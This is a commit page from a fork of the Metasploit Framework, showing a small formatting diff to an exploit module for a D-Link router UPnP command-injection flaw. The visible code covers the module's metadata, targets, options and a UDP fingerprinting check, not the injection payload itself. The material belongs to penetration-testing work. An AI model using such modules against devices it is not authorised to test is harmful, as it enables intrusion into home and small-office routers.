dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Do minor fixes

This commit is contained in:
jvazquez-r7 2014-07-11 09:17:34 -05:00
parent 579ce0a858
commit 36c6e74221
1 changed files with 10 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

18
modules/exploits/linux/upnp/dlink_upnp_msearch_exec_echo.rb
View File

@ -22,13 +22,13 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' => 'Author' =>
[ [
'Zachary Cutlip', # Vulnerability discovery and initial exploit 'Zachary Cutlip', # Vulnerability discovery and initial exploit
'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module and verification on other routers 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
[ 'URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection' ], # original exploit ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
[ 'URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html' ] # original exploit ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
], ],
'DisclosureDate' => 'Feb 01 2013', 'DisclosureDate' => 'Feb 01 2013',
'Privileged' => true, 'Privileged' => true,
@ -40,21 +40,23 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_MIPSLE 'Arch' => ARCH_MIPSLE
} }
], ],
[ 'MIPS Big Endian', # unknown if there are big endian devices out there [ 'MIPS Big Endian', # unknown if there are big endian devices out there
{ {
'Platform' => 'linux', 'Platform' => 'linux',
'Arch' => ARCH_MIPS 'Arch' => ARCH_MIPS
} }
], ]
], ],
'DefaultTarget' => 0 'DefaultTarget' => 0
)) ))
register_options( register_options(
[ [
Opt::RHOST(), Opt::RHOST(),
Opt::RPORT(1900), Opt::RPORT(1900)
], self.class) ], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end end
def check def check
@ -72,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
res = nil res = nil
1.upto(5) do 1.upto(5) do
res,_,_ = udp_sock.recvfrom(65535, 1.0) res,_,_ = udp_sock.recvfrom(65535, 1.0)
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
udp_sock.sendto(msearch, rhost, rport, 0) udp_sock.sendto(pkt, rhost, rport, 0)
end end
# UPnP response: # UPnP response: